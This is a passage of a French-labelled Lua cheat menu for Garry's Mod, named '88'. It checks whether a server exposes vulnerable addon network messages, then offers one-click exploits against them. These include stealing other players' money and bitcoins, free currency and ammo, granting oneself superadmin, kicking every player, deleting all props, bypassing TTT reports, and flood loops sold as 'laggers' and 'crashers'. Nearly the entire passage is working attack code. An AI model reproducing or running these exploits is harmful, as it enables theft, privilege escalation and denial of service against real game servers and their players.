3691
3692
3693
3694/*=======================
3695|===== MOTDGD KILL =====|
3696========================*/
3697
3698if(istable(MOTDgd))then
3699 MOTDgd = {}
3700 function MOTDgd.Show() end
3701 function MOTDgd.GetIfSkip() return true end
3702 print "On dirait qu'il n'y aura pas de pub :c"
3703end
3704
3705
3706
3707
3708
3709
3710
3711
3712
3713
3714
3715/*===========================
3716|===== 88 GUI =====|
3717===========================*/
3718surface.CreateFont("clsbtn",{font = "Marlett", size = 15, weight = 0, antialias = 0})
3719
3720
3721
3722concommand.Add( "88", function()
3723surface.PlaySound("UI/buttonclick.wav")
3724
3725local A1 = vgui.Create( "DFrame")
3726A1:SetSize( 700, 620 )
3727A1:Center()
3728A1:SetTitle( "" )
3729A1:ShowCloseButton( false )
3730A1:SetDraggable( true )
3731A1:MakePopup()
3732A1.Paint = function( self, w, h )
3733draw.RoundedBox( 0, 0, 0, w, h, Color(0, 0, 0, 240))
3734end
3735
3736local AC = vgui.Create( "DButton", A1)
3737AC:SetPos( 680, 0)
3738AC:SetSize( 20, 20 )
3739AC:SetText( "X" )
3740AC:SetFont( "clsbtn" )
3741AC.Paint = function( self, w, h )
3742draw.RoundedBox( 0, 0, 0, w, h, Color(0,0,0, 200))
3743if AC:IsHovered() then
3744AC:SetTextColor( Color( 255, 255, 255 ) )
3745draw.RoundedBox(0,0,0,w,h,Color(127,0,0, 200))
3746else
3747draw.RoundedBox( 0, 0, 0, w, h, Color(0, 0, 0, 200))
3748AC:SetTextColor( Color( 255, 255, 255 ) )
3749end
3750AC.DoClick = function()
3751surface.PlaySound( "UI/buttonclick.wav" )
3752A1:Remove()
3753end
3754end
3755AL = vgui.Create( "HTML", A1 )
3756AL:SetSize( 400,50 )
3757AL:SetPos( 420,10 )
3758AL:OpenURL( "https://image.noelshack.com/fichiers/2018/26/6/1530372954-sans-titrffe-4.png")
3759
3760
3761
3762
3763
3764
3765
3766
3767
3768
3769
3770
3771
3772
3773
3774
3775
3776/*============================
3777|===== 88 TABS =====|
3778=============================*/
3779
3780local Tabs = vgui.Create( "DPropertySheet", A1 )
3781Tabs:Dock( FILL )
3782Tabs:DockPadding( 0, 0, 0, 0)
3783Tabs.Paint = function (self, w, h)
3784for k, v in pairs(Tabs.Items) do
3785 if (!v.Tab) then continue end
3786
3787 v.Tab.Paint = function(self,w,h)
3788 surface.DrawRect( 0, 0, v.Tab:GetWide(), v.Tab:GetTall() )
3789 end
3790 end
3791 end
3792
3793local exploits = vgui.Create( "DPanel", Tabs )
3794 exploits.Paint = function( self, w, h )
3795 exploits:SetSize(100,100)
3796 draw.RoundedBox(10, -20, 0, w, h, Color(15,15,15,220))
3797 end
3798Tabs:AddSheet( "Exploits", exploits )
3799
3800local netcmd = vgui.Create( "DPanel", Tabs )
3801 netcmd.Paint = function( self, w, h )
3802 draw.RoundedBox(10, 200, 25, w, h, Color(15,15,15,220))
3803 end
3804
3805local mscsbd = vgui.Create( "DPanel", Tabs )
3806 mscsbd.Paint = function( self, w, h )
3807 draw.RoundedBox(10, -20, 0, w, h, Color(15,15,15,220))
3808 end
3809
3810local sdbbd = vgui.Create( "DPanel", Tabs )
3811 sdbbd.Paint = function( self, w, h )
3812 draw.RoundedBox(10, -20, 0, w, h, Color(15,15,15,220))
3813 end
3814
3815Tabs:AddSheet( "Backdoor", netcmd )
3816Tabs:AddSheet( "Musique", mscsbd )
3817Tabs:AddSheet( "Soundboard", sdbbd )
3818
3819
3820
3821
3822
3823
3824
3825
3826
3827
3828
3829
3830
3831
3832/*================================
3833|===== 88 EXPLOITS =====|
3834=================================*/
3835
3836concommand.Add("rainbow",function()
3837hook.Add("Think", "Rainbow", function()
3838local RainbowPlayer = HSVToColor( CurTime() % 6 * 60, 1, 1 )
3839 LocalPlayer():SetWeaponColor( Vector( RainbowPlayer.r / 255, RainbowPlayer.g / 255, RainbowPlayer.b / 255 ) )
3840 LocalPlayer():SetPlayerColor( Vector( RainbowPlayer.r / 255, RainbowPlayer.g / 255, RainbowPlayer.b / 255 ) )
3841end )
3842end )
3843
3844function random_string(length)
3845 math.randomseed(os.time())
3846
3847 if length > 0 then
3848 return random_string(length - 1) .. charset[math.random(1, #charset)]
3849 else
3850 return ""
3851 end
3852end
3853
3854local s = {}
3855s.duel = {}
3856s.duel[1] = table.Random( player.GetAll() )
3857s.duel[2] = table.Random( player.GetAll() )
3858s.duel[2] = 3
3859s.duel[3] = -9999999
3860
3861
3862function CHATPRINT( str )
3863chat.AddText( Color( 0, 0, 0 ), "[88] ", Color( 255, 255, 255), str )
3864end
3865
3866
3867local function NOTIFICATION(text)
3868
3869local notify = vgui.Create( "DPanel" )
3870notify:SetSize( 1920, 50 )
3871notify:SetPos( ScrW() - 200, -50 )
3872notify.Paint = function(self, w, h)
3873draw.RoundedBox( 0, 0, 0, w, h, Color(50, 50, 50, 220))
3874local bars = 10
3875for i=0, bars, 1 do
3876 local rainbow = Color(0, 0, 0,220)
3877 draw.RoundedBox( 0, i * w / bars, notify:GetTall() - 50, w / bars, 50, Color(i + 1 * rainbow.r, i + 1 * rainbow.g, i + 1 * rainbow.b, 220))
3878end
3879//draw.RoundedBox( 0, 0, notify:GetTall() - 2, w, 2, Color(0, 0, 0,220))
3880draw.SimpleText( text, "Calibri-l", notify:GetWide() / 2, notify:GetTall() / 2, Color(255, 255, 255), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
3881end
3882notify:MoveTo( ScrW() - notify:GetWide(), 0, .2, 0, -1, function()
3883timer.Simple( 1, function()
3884notify:MoveTo( ScrW() - notify:GetWide(), -50, .2, 0, -1)
3885end)
3886end)
3887end
3888
3889
3890//////////// [CLEAR CHAT] ////////////
3891
3892function clearchat()
3893for i = 0, 100 do
3894chat.AddText(" ")
3895end
3896end
3897
3898//////////// [VAPE] ////////////
3899
3900function Vape()
3901timer.Simple(0, function() RunConsoleCommand("+attack") end )
3902timer.Simple(5.134, function() RunConsoleCommand("-attack") end )
3903end
3904concommand.Add("vape", Vape)
3905concommand.Add("clearchat", clearchat)
3906
3907function Initialize()
3908NOTIFICATION("88 MENU CHARGÉ !")
3909net.Receive("DL_Answering_global", function(_len)end) // Stop LocalPlayer from getting kicked whilst kicking all
3910net.Receive( "metro_notification",function() // Disable Metro Notification
3911return
3912end)
3913
3914//////////// Font Creation ////////////
3915--
3916surface.CreateFont( "Roboto", {
3917 font = "Roboto",
3918 size = 18,
3919} )
3920--
3921surface.CreateFont( "Calibri-sm", {
3922 font = "Calibri",
3923 size = 15,
3924} )
3925--
3926surface.CreateFont( "Calibri-l", {
3927 font = "Calibri",
3928 size = 21,
3929} )
3930--
3931surface.CreateFont( "tahoma", {
3932 font = "Tahoma",
3933 size = 15,
3934} )
3935--
3936end
3937Initialize(); // Initializes basic shit for when menu is loaded.
3938
3939
3940function ValidNetString( str )
3941local status, error = pcall( net.Start, str )
3942return status
3943end
3944
3945
3946function draw.OutlinedBox( x, y, w, h, thickness, clr )
3947surface.SetDrawColor( clr )
3948for i=0, thickness - 1 do
3949surface.DrawOutlinedRect( x + i, y + i, w - i * 2, h - i * 2 )
3950end
3951end
3952
3953local exploitsScrollPanel = vgui.Create( "DScrollPanel", exploits )
3954exploitsScrollPanel:Dock( FILL )
3955exploitsScrollPanel:InnerWidth(100)
3956local sbar = exploitsScrollPanel:GetVBar()
3957function exploitsScrollPanel:Paint( w, h )
3958 draw.RoundedBox( 3, 0, 0, w, h , Color(0,0,0,0))
3959end
3960function sbar:Paint( w, h )
3961 draw.RoundedBox( 0, 4, 0, w, h, Color( 0, 0, 0, 100 ) )
3962end
3963function sbar.btnUp:Paint( w, h )
3964 draw.RoundedBox( 0, 4, 0, w, h, Color(0,0,0,200))
3965end
3966function sbar.btnDown:Paint( w, h )
3967 draw.RoundedBox( 0, 4, 0, w, h, Color(0,0,0,200))
3968end
3969function sbar.btnGrip:Paint( w, h )
3970 draw.RoundedBox( 0, 4, 0, w, h, Color(0,0,0,200))
3971end
3972
3973totalSploits = 0
3974function addExploit(id, text, desc, func)
3975totalSploits = 1 + totalSploits
3976local id = vgui.Create( "DButton", exploitsScrollPanel )
3977id:SetText( text )
3978id:SetTextColor( Color( 200, 200, 200, 220 ) )
3979id:SetFont("Roboto")
3980id:Dock( TOP )
3981id:DockMargin( 10, 45, 40, -37 )
3982id:DockPadding( 2, 30, 20, 10 )
3983id.DoClick = func
3984if desc then
3985id:SetToolTip( desc )
3986end
3987id.Paint = function( self, w, h )
3988id.OnCursorEntered = function(self)
3989-- surface.PlaySound( "garrysmod/ui_hover.wav" )
3990surface.PlaySound( "buttons/button15.wav" )
3991end
3992if id:IsHovered() then
3993-- draw.SimpleText( desc, "Calibri-sm", -25, 2, HSVToColor( CurTime() % 6 * 60, 1, 1 ), TEXT_ALIGN_RIGHT) -- Only Citizen Hack Lua Loader
3994draw.RoundedBox( 0, 0, 0, w, h, Color(30, 30, 30, 245))
3995else
3996draw.RoundedBox( 0, 0, 0, w, h, Color(10, 10, 10, 245))
3997end
3998surface.SetDrawColor(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75))
3999surface.DrawOutlinedRect( 0, 0, w, h )
4000end
4001end
4002
4003
4004//////////////////// [EXPLOITS] ////////////////////
4005
4006status = ValidNetString("TCBBuyAmmo")
4007if (status) then
4008CHATPRINT("Exploit Trouvé : Munitions Gratuites [TCBBuyAmmo]")
4009addExploit( "1","Munitions Gratuites", "", function()
4010surface.PlaySound("garrysmod/ui_click.wav")
4011CHATPRINT("Getting Le Ammo")
4012for k,v in pairs(GAMEMODE.AmmoTypes) do
4013net.Start("TCBBuyAmmo")
4014net.WriteTable( {nil,v.ammoType,nil,"0","999999"} )
4015net.SendToServer()
4016end
4017end)
4018end
4019
4020status = ValidNetString("DataSend")
4021if (status) then
4022CHATPRINT("Exploit Trouvé : Voler L'argents De Tous #1 [DataSend]")
4023addExploit( "2","Voler L'argents De Tous #1", "", function()
4024surface.PlaySound("garrysmod/ui_click.wav")
4025for k, v in pairs( ents.GetAll() ) do
4026if v:GetClass() == "adv_moneyprinter" then
4027CHATPRINT("Collecting Money")
4028net.Start("DataSend")
4029net.WriteFloat(2)
4030net.WriteEntity(v)
4031net.WriteEntity(LocalPlayer())
4032net.SendToServer()
4033end
4034end
4035end)
4036end
4037
4038
4039status = ValidNetString("FarmingmodSellItems")
4040if (status) then
4041CHATPRINT("Exploit Trouvé : Argent Gratuite [FarmingmodSellItems]")
4042addExploit( "3","Argent Gratuite", "", function()
4043surface.PlaySound("garrysmod/ui_click.wav")
4044CHATPRINT("Enjoy the b1g monies")
4045net.Start("FarmingmodSellItems")
4046net.WriteTable(
4047{
4048Cost = 10,
4049CropModel = "models/props/eryk/garlic.mdl",
4050CropType = 2,
4051Info = "Garlic Seed",
4052Model = "models/props/eryk/seedbag.mdl",
4053Name = "Garlic",
4054Quality = 4,
4055Sell = 99999,
4056Type = "Seed"
4057}
4058)
4059net.WriteInt(1,16)
4060net.SendToServer()
4061end)
4062end
4063
4064status = ValidNetString("start_wd_emp")
4065if (status) then
4066CHATPRINT("Exploit Trouvé : Hack Keypad [start_wd_emp]")
4067addExploit( "4","Hack Keypad", "", function()
4068surface.PlaySound("garrysmod/ui_click.wav")
4069NOTIFICATION("Hacking Keypads")
4070net.Start("start_wd_emp")
4071net.SendToServer()
4072end)
4073end
4074
4075status = ValidNetString("duelrequestguiYes")
4076if (status) then
4077CHATPRINT("Exploit Trouvé : Recevoir De L'Argent [duelrequestguiYes]")
4078addExploit( "5","Recevoir De L'Argent", "", function()
4079surface.PlaySound("garrysmod/ui_click.wav")
4080NOTIFICATION("getting ez monies")
4081net.Start("duelrequestguiYes")
4082net.WriteInt(-99999999999999999999999999999999999999999999999999999999999999999999999999999,32)
4083net.WriteEntity(table.Random( player.GetAll() ) )
4084net.WriteString("Crossbow")
4085net.SendToServer()
4086end)
4087end
4088
4089status = ValidNetString("DarkRP_Kun_ForceSpawn")
4090if (status) then
4091CHATPRINT("Exploit Trouvé : Respawn #1 [DarkRP_Kun_ForceSpawn]")
4092addExploit( "6", "Respawn #1", "", function()
4093surface.PlaySound("garrysmod/ui_click.wav")
4094CHATPRINT("Respawn")
4095net.Start("DarkRP_Kun_ForceSpawn")
4096net.SendToServer()
4097end)
4098end
4099
4100status = ValidNetString("SyncPrinterButtons76561198056171650")
4101if (status) then
4102CHATPRINT("Exploit Trouvé : Voler L'argents De Tous #2 [SyncPrinterButtons76561198056171650]")
4103addExploit( "7","Voler L'argents De Tous #2", "", function()
4104surface.PlaySound("garrysmod/ui_click.wav")
4105CHATPRINT("Collecting Money")
4106for k, v in pairs(ents.GetAll()) do
4107if (v:GetClass() == "adv_moneyprinter") then
4108net.Start("SyncPrinterButtons76561198056171650")
4109net.WriteEntity(v)
4110net.WriteUInt(2, 4)
4111net.SendToServer()
4112end
4113end
4114end)
4115end
4116---------------------------------------------------------------------------------------------
4117local function report()
4118 for i = 1, 2000 do
4119 net.Start("DL_Answering")
4120 net.SendToServer()
4121 end
4122end
4123
4124if (Damagelog) then
4125CHATPRINT("Exploit Trouvé : Kick Tous Le Monde")
4126reportSpam = 0
4127addExploit( "1337","Kick Tous Le Monde", "", function()
4128 surface.PlaySound("garrysmod/ui_click.wav")
4129 if (reportSpam == 0) then
4130 NOTIFICATION("Starting Kicker")
4131 reportSpam = 1
4132 timer.Create("reportSpammer", 0.05, 0, report)
4133 else
4134 NOTIFICATION("Stopping Kicker")
4135 reportSpam = 0
4136 timer.Remove("reportSpammer")
4137 end
4138
4139end)
4140end
4141----------------------------------------------------------------------------------------------
4142
4143status = ValidNetString("SimplicityAC_aysent")
4144if (status) then
4145CHATPRINT("Exploit Trouvé : Crash #1 [SimplicityAC_aysent]")
4146addExploit( "8","Crash #1", "", function()
4147surface.PlaySound("garrysmod/ui_click.wav")
4148CHATPRINT("Goodbye Server")
4149local tbl = {}
4150for i=1,400 do
4151tbl[i] = i
4152end
4153net.Start("SimplicityAC_aysent")
4154net.WriteUInt(1, 8)
4155net.WriteUInt(4294967295, 32)
4156net.WriteTable(tbl)
4157net.SendToServer()
4158end)
4159end
4160
4161status = ValidNetString("RevivePlayer")
4162if (status) then
4163CHATPRINT("Exploit Trouvé : Reanimation #1 [RevivePlayer]")
4164addExploit( "9", "Reanimation #1", "", function()
4165surface.PlaySound("garrysmod/ui_click.wav")
4166if !timer.Exists( "reanimation1" ) then
4167NOTIFICATION( "Enabled" )
4168timer.Create( "reanimation1", 0.5, 0, function()
4169if !LocalPlayer():Alive() then
4170net.Start("RevivePlayer")
4171net.WriteEntity(LocalPlayer())
4172net.SendToServer()
4173end
4174end)
4175else
4176timer.Remove( "reanimation1" )
4177NOTIFICATION( "Disabled" )
4178end
4179end )
4180end
4181
4182status = ValidNetString("NLRKick")
4183if (status) then
4184CHATPRINT("Exploit Trouvé : Kick Tous Le Monde [NLRKick]")
4185addExploit( "10","Kick Tous Le Monde", "", function()
4186surface.PlaySound("garrysmod/ui_click.wav")
4187NOTIFICATION("Kicking All")
4188for k,v in pairs(player.GetAll()) do
4189if v != LocalPlayer() then
4190net.Start("NLRKick")
4191net.WriteEntity(v)
4192net.SendToServer()
4193end
4194end
4195end)
4196end
4197
4198status = ValidNetString("timebombDefuse")
4199if (status) then
4200CHATPRINT("Exploit Trouvé : Supprimer Tous Les Props [timebombDefuse]")
4201addExploit( "11","Supprimer Tous Les Props", "", function()
4202surface.PlaySound("garrysmod/ui_click.wav")
4203NOTIFICATION("Props De_Stroyed")
4204for k,v in pairs(ents.GetAll()) do
4205net.Start("timebombDefuse")
4206net.WriteEntity(v)
4207net.WriteBool(true)
4208net.SendToServer()
4209end
4210end)
4211end
4212
4213status = ValidNetString("NDES_SelectedEmblem")
4214if (status) then
4215CHATPRINT("Exploit Trouvé : Lagger #2 [NDES_SelectedEmblem]")
4216addExploit( "12","Lagger #2", "", function()
4217surface.PlaySound("garrysmod/ui_click.wav")
4218if !timer.Exists( "lagger2" ) then
4219timer.Create("lagger2", 0.5, 0, function()
4220for i=1, 2000 do
4221net.Start("NDES_SelectedEmblem",true)
4222net.WriteString("seized")
4223net.SendToServer()
4224end
4225end)
4226NOTIFICATION("Starting Lagger")
4227else
4228timer.Remove("lagger2")
4229NOTIFICATION("Stopping Lagger")
4230end
4231end)
4232end
4233
4234status = ValidNetString("Morpheus.StaffTracker")
4235if (status) then
4236CHATPRINT("Exploit Trouvé : Crasher #1 [Morpheus.StaffTracker]")
4237addExploit( "13","Crasher #1", "", function()
4238surface.PlaySound("garrysmod/ui_click.wav")
4239if !timer.Exists( "crasher1" ) then
4240timer.Create("crasher1", 0.5, 0, function()
4241for i=1, 2000 do
4242net.Start("Morpheus.StaffTracker")
4243net.SendToServer()
4244end
4245end)
4246NOTIFICATION("Crashing Server")
4247else
4248timer.Remove("crasher1")
4249NOTIFICATION( "Canceling Crasher" )
4250end
4251end)
4252end
4253
4254status = ValidNetString("egg")
4255if (status) then
4256CHATPRINT("Exploit Trouvé : Recevoir Les Easter Eggs")
4257addExploit( "14","Recevoir Les Easter Eggs", "", function()
4258surface.PlaySound("garrysmod/ui_click.wav")
4259RunConsoleCommand("say", "4bigz")
4260RunConsoleCommand("cc_egg2")
4261net.Start("egg")
4262net.SendToServer()
4263NOTIFICATION("Gave Easter Egg")
4264end)
4265end
4266
4267status = ValidNetString("pplay_deleterow")
4268if (status) then
4269CHATPRINT("Exploit Trouvé : Devenir SuperAdmin [pplay_deleterow]")
4270addExploit( "15","Devenir SuperAdmin", "", function()
4271surface.PlaySound("garrysmod/ui_click.wav")
4272local id = LocalPlayer():SteamID()
4273local tbl = {}
4274tbl.name = "FAdmin_PlayerGroup"
4275tbl.where = {
4276"steamid",
4277tostring(id)
4278}
4279
4280net.Start("pplay_deleterow")
4281net.WriteTable(tbl)
4282net.SendToServer()
4283local tbl = {}
4284tbl.tblname = "FAdmin_PlayerGroup"
4285tbl.tblinfo = {
4286tostring(id),
4287"superadmin"
4288}
4289net.Start("pplay_addrow")
4290net.WriteTable(tbl)
4291net.SendToServer()
4292NOTIFICATION("promotion ;)")
4293end)
4294end
4295
4296-- TTT Bypass Report by daddy grampa
4297
4298local function CheckChild(pan)
4299local title = "You have been reported! Please answer all your reports."
4300 if !pan || !IsValid(pan) then return end
4301 if pan.GetTitle && pan:GetTitle() == title then
4302 pan:Remove();
4303 print("Removed warning box")
4304 return
4305 end
4306 for k,v in pairs(pan:GetChildren()) do
4307 if v.GetTitle && v:GetTitle() == title then
4308 v:Remove();
4309 print("Removed warning box")
4310 return
4311 end
4312 if #v:GetChildren() > 0 then
4313 CheckChild(v)
4314 end
4315 end
4316end
4317
4318if (engine.ActiveGamemode() == "terrortown") then
4319bypass = 0
4320CHATPRINT("Exploit Trouvé : TTT Bypass Report")
4321addExploit( "16","Activer/Désactiver Bypass Report TTT", "", function()
4322surface.PlaySound("garrysmod/ui_click.wav")
4323if (bypass == 0) then
4324hook.Add("Think", "remove_ttt_report", function()
4325local pan = vgui.GetHoveredPanel()
4326CheckChild(pan)
4327end)
4328NOTIFICATION("Enabled Report Bypass")
4329bypass = 1
4330else
4331hook.Remove("Think", "remove_ttt_report")
4332NOTIFICATION("Disabled Report Bypass")
4333bypass = 0
4334end
4335end)
4336end
4337
4338status = ValidNetString("EZS_PlayerTag")
4339if (status) then
4340CHATPRINT("Exploit Trouvé : Lagger #3 [EZS_PlayerTag]")
4341addExploit( "17","Lagger #3", "", function()
4342surface.PlaySound("garrysmod/ui_click.wav")
4343if !timer.Exists( "lagger3" ) then
4344timer.Create("lagger3", 0.5, 0, function()
4345for k, v in pairs(player.GetAll()) do
4346net.Start("EZS_PlayerTag",true)
4347net.WriteEntity(v)
4348net.WriteString("Seized")
4349net.SendToServer()
4350timer.Simple(2, function()
4351net.Start("EZS_PlayerTag",true)
4352net.WriteEntity(v)
4353net.WriteString("Seized")
4354net.SendToServer()
4355end)
4356end
4357end)
4358NOTIFICATION("Starting Lagger")
4359else
4360timer.Remove("lagger3")
4361NOTIFICATION("Stopping Lagger")
4362end
4363end)
4364end
4365
4366if ConVarExists("advttt_spreadovertime_enabled") then
4367CHATPRINT("Exploit Trouvé : NoSpread")
4368addExploit( "18","NoSpread", "", function()
4369surface.PlaySound("garrysmod/ui_click.wav")
4370hook.Remove("PlayerTick", "WyoziAdvTTTSpreadOverTime")
4371NOTIFICATION("Spread Removed")
4372end)
4373end
4374
4375status = ValidNetString("fp_as_doorHandler")
4376if (status) then
4377CHATPRINT("Exploit Trouvé : Ouvrir Des Portes | Fermer Des Portes | Supprimer Le Propriétaire [fp_as_doorHandler]")
4378addExploit( "19","Ouvrir La Porte", "", function()
4379surface.PlaySound("garrysmod/ui_click.wav")
4380net.Start("fp_as_doorHandler")
4381net.WriteEntity(LocalPlayer():GetEyeTrace().Entity)
4382net.WriteString("unlock")
4383net.SendToServer()
4384NOTIFICATION("Opened Door")
4385end)
4386end
4387
4388status = ValidNetString("fp_as_doorHandler")
4389if (status) then
4390addExploit( "20","Fermer La Porte", "", function()
4391surface.PlaySound("garrysmod/ui_click.wav")
4392net.Start("fp_as_doorHandler")
4393net.WriteEntity(LocalPlayer():GetEyeTrace().Entity)
4394net.WriteString("lock")
4395net.SendToServer()
4396NOTIFICATION("Opened Door")
4397end)
4398end
4399
4400status = ValidNetString("fp_as_doorHandler")
4401if (status) then
4402addExploit( "21","Supprimer Le Propriétaire", "", function()
4403surface.PlaySound("garrysmod/ui_click.wav")
4404local door = LocalPlayer():GetEyeTrace().Entity
4405local doorOwner = door:getDoorData()["owner"]
4406net.Start("fp_as_doorHandler")
4407net.WriteEntity(door)
4408net.WriteString("removeOwner")
4409net.WriteDouble(doorOwner)
4410net.SendToServer()
4411NOTIFICATION("Opened Door")
4412end)
4413end
4414
4415status = ValidNetString("VJSay")
4416if (status) then
4417CHATPRINT("Exploit Trouvé : VJSay [OLD] [VJSay]")
4418addExploit( "22","VJSay [OLD]", "", function()
4419surface.PlaySound("garrysmod/ui_click.wav")
4420inputFrame2Exists = true
4421inputFrame2 = vgui.Create( "DFrame" )
4422inputFrame2:SetTitle("Enter your message!")
4423inputFrame2:SetSize( 400, 75 )
4424inputFrame2:SetPos(ScrW() / 2 - inputFrame2:GetWide() / 2, ScrH() / 2 + 230 )
4425inputFrame2:SetDraggable(false)
4426inputFrame2:ShowCloseButton(false)
4427inputFrame2:MakePopup()
4428inputFrame2.Paint = function( self, w, h )
4429draw.RoundedBox( 5, 0, 0, w, h, Color(30, 30, 30))
4430end
4431
4432local TextEntry2 = vgui.Create( "DTextEntry", inputFrame2 )
4433TextEntry2:SetSize( 380, 30 )
4434TextEntry2:SetPos( inputFrame2:GetWide() / 2 - TextEntry2:GetWide() / 2, inputFrame2:GetTall() / 2 - TextEntry2:GetTall() / 2 )
4435TextEntry2:SetText( "Broadcast Msg" )
4436TextEntry2.OnEnter = function( self )
4437surface.PlaySound("garrysmod/ui_click.wav")
4438NOTIFICATION("Broadcasting")
4439net.Start("VJSay")
4440net.WriteEntity(nil)
4441net.WriteString(TextEntry2:GetValue())
4442net.WriteString("")
4443net.SendToServer()
4444inputFrame2:SetVisible(false)
4445end
4446end)
4447end
4448
4449status = ValidNetString("ply_pick_shit")
4450if (status) then
4451CHATPRINT("Exploit Trouvé : Argent Gratuite amirite [ply_pick_shit]")
4452addExploit( "23","Argent Gratuite amirite", "", function()
4453surface.PlaySound("garrysmod/ui_click.wav")
4454for k, v in pairs (player.GetAll()) do
4455for i = 1,255 do
4456net.Start("ply_pick_shit")
4457net.WriteEntity(LocalPlayer())
4458net.WriteEntity(v)
4459net.SendToServer()
4460end
4461end
4462NOTIFICATION("enjoy monies")
4463end)
4464end
4465
4466status = ValidNetString("pac.net.TouchFlexes.ClientNotify")
4467if (status) then
4468CHATPRINT("Exploit Trouvé : Faire Crash #2 [pac.net.TouchFlexes.ClientNotify]")
4469addExploit( "24","Crasher #2", "big lagz", function()
4470surface.PlaySound("garrysmod/ui_click.wav")
4471if !timer.Exists( "crasher2" ) then
4472timer.Create("crasher2", 0, 0, function()
4473for i = 1, 400 do
4474net.Start("pac.net.TouchFlexes.ClientNotify")
4475net.WriteInt( 9999999999999999999999999999999999999999999999999999999999999999999999, 13)
4476net.SendToServer()
4477end
4478end)
4479NOTIFICATION("Starting Crasher")
4480else
4481timer.Remove("crasher2")
4482NOTIFICATION("Stopping Crasher")
4483end
4484end)
4485end
4486
4487status = ValidNetString("BM2.Command.SellBitcoins")
4488if (status) then
4489CHATPRINT("Exploit Trouvé : Vendre Vos Bitcoins [BM2.Command.SellBitcoins]")
4490addExploit( "25","Vendre Vos Bitcoins", "sells your and other peoples bitcoins at a great distance", function()
4491surface.PlaySound("garrysmod/ui_click.wav")
4492for k, v in pairs(ents.FindByClass("bm2_bitminer_1")) do
4493net.Start("BM2.Command.SellBitcoins")
4494net.WriteEntity(v)
4495net.SendToServer()
4496end
4497for k, v in pairs(ents.FindByClass("bm2_bitminer_2")) do
4498net.Start("BM2.Command.SellBitcoins")
4499net.WriteEntity(v)
4500net.SendToServer()
4501end
4502for k, v in pairs(ents.FindByClass("bm2_bitminer_rack")) do
4503net.Start("BM2.Command.SellBitcoins")
4504net.WriteEntity(v)
4505net.SendToServer()
4506end
4507end)
4508end
4509
4510status = ValidNetString("BM2.Command.Eject")
4511if (status) then
4512CHATPRINT("Exploit Trouvé : Lagger #4 [BM2.Command.Eject]")
4513addExploit( "26","Lagger #4", "", function()
4514surface.PlaySound("garrysmod/ui_click.wav")
4515if !timer.Exists( "lagger4" ) then
4516timer.Create("lagger4", 0, 0, function()
4517for i = 1, 1000 do
4518net.Start("BM2.Command.Eject",true)
4519net.WriteInt(9999999999999999999999999999999999999999999999999999999999999999999999, 8)
4520net.SendToServer()
4521end
4522end)
4523NOTIFICATION("Starting Lagger")
4524else
4525timer.Remove("lagger4")
4526NOTIFICATION("Stopping Lagger")
4527end
4528end)
4529end
4530
4531status = ValidNetString("BM2.Command.SellBitcoins")
4532if (status) then
4533CHATPRINT("Exploit Trouvé : Lagger #5 [BM2.Command.SellBitcoins]")
4534addExploit( "27","Lagger #5", "", function()
4535surface.PlaySound("garrysmod/ui_click.wav")
4536timer.Create("lagger5", 0, 0, function()
4537for i=1,1000 do
4538net.Start("BM2.Command.SellBitcoins",true)
4539net.WriteEntity(LocalPlayer())
4540net.SendToServer()
4541end
4542end )
4543end )
4544end
4545
4546status = ValidNetString("ItemStoreUse")
4547if (status) then
4548CHATPRINT("Exploit Trouvé : Lagger #6 [ItemStoreUse]")
4549addExploit( "28","Lagger #6", "", function()
4550surface.PlaySound("garrysmod/ui_click.wav")
4551if !timer.Exists( "lagger6" ) then
4552timer.Create("lagger6", 0, 0, function()
4553for i = 1, 1000 do
4554net.Start("ItemStoreUse",true)
4555net.WriteUInt(9999999999999999999999999999999999999999999999999999999999, 32)
4556net.WriteUInt(9999999999999999999999999999999999999999999999999999999999, 32)
4557net.SendToServer()
4558end
4559end)
4560NOTIFICATION("Starting Lagger")
4561else
4562timer.Remove("lagger6")
4563NOTIFICATION("Stopping Lagger")
4564end
4565end)
4566end
4567
4568status = ValidNetString("ItemStoreDrop")
4569if (status) then
4570CHATPRINT("Exploit Trouvé : Lagger #7 [ItemStoreDrop]")
4571addExploit( "29","Lagger #7", "", function()
4572surface.PlaySound("garrysmod/ui_click.wav")
4573if !timer.Exists( "lagger7" ) then
4574timer.Create("lagger7", 0, 0, function()
4575for i = 1, 1000 do
4576net.Start("ItemStoreDrop",true)
4577net.WriteUInt(9999999999999999999999999999999999999999999999999999999999, 32)
4578net.WriteUInt(9999999999999999999999999999999999999999999999999999999999, 32)
4579net.SendToServer()
4580end
4581end)
4582NOTIFICATION("Starting Lagger")
4583else
4584timer.Remove("lagger7")
4585NOTIFICATION("Stopping Lagger")
4586end
4587end)
4588end
4589
4590status = ValidNetString("gMining.sellMineral")
4591if (status) then
4592CHATPRINT("Exploit Trouvé : Lagger #8 [gMining.sellMineral]")
4593addExploit( "30","Lagger #8", "", function()
4594surface.PlaySound("garrysmod/ui_click.wav")
4595NOTIFICATION("Starting")
4596if !timer.Exists( "lagger8" ) then
4597timer.Create("lagger8", 0, 0, function()
4598for i = 1, 1000 do
4599net.Start("gMining.sellMineral",true)
4600net.WriteInt(9999999999999999999999999999999999999999999999999999999999, 3)
4601net.WriteString(" ")
4602net.SendToServer()
4603end
4604end )
4605end
4606end )
4607end
4608
4609status = ValidNetString("PlayerUseItem")
4610if (status) then
4611CHATPRINT("Exploit Trouvé : Lagger #9 [PlayerUseItem]")
4612addExploit( "31","Lagger #9", "", function()
4613surface.PlaySound("garrysmod/ui_click.wav")
4614if !timer.Exists( "lagger9" ) then
4615timer.Create("lagger9", 0,0, function()
4616for i = 1, 800 do
4617net.Start("PlayerUseItem",true)
4618net.WriteInt(99999999999999999999999999999999999999999999999, 32)
4619net.SendToServer()
4620end
4621end)
4622NOTIFICATION("Starting Lagger")
4623else
4624timer.Remove("lagger9")
4625NOTIFICATION("Stopping Lagger")
4626end
4627end)
4628end
4629
4630status = ValidNetString("RequestMAPSize")
4631if (status) then
4632CHATPRINT("Exploit Trouvé : Lagger #10 [RequestMAPSize]")
4633addExploit( "32","Lagger #10", "", function()
4634surface.PlaySound("garrysmod/ui_click.wav")
4635if !timer.Exists( "lagger10" ) then
4636timer.Create("lagger10", 0, 0, function()
4637for i = 1, 400 do
4638net.Start("RequestMAPSize",true)
4639net.SendToServer()
4640end
4641end)
4642NOTIFICATION("Starting Lagger")
4643else
4644timer.Remove("lagger10")
4645NOTIFICATION("Stopping Lagger")
4646end
4647end )
4648end
4649
4650status = ValidNetString("MG2.Request.GangRankings")
4651if (status) then
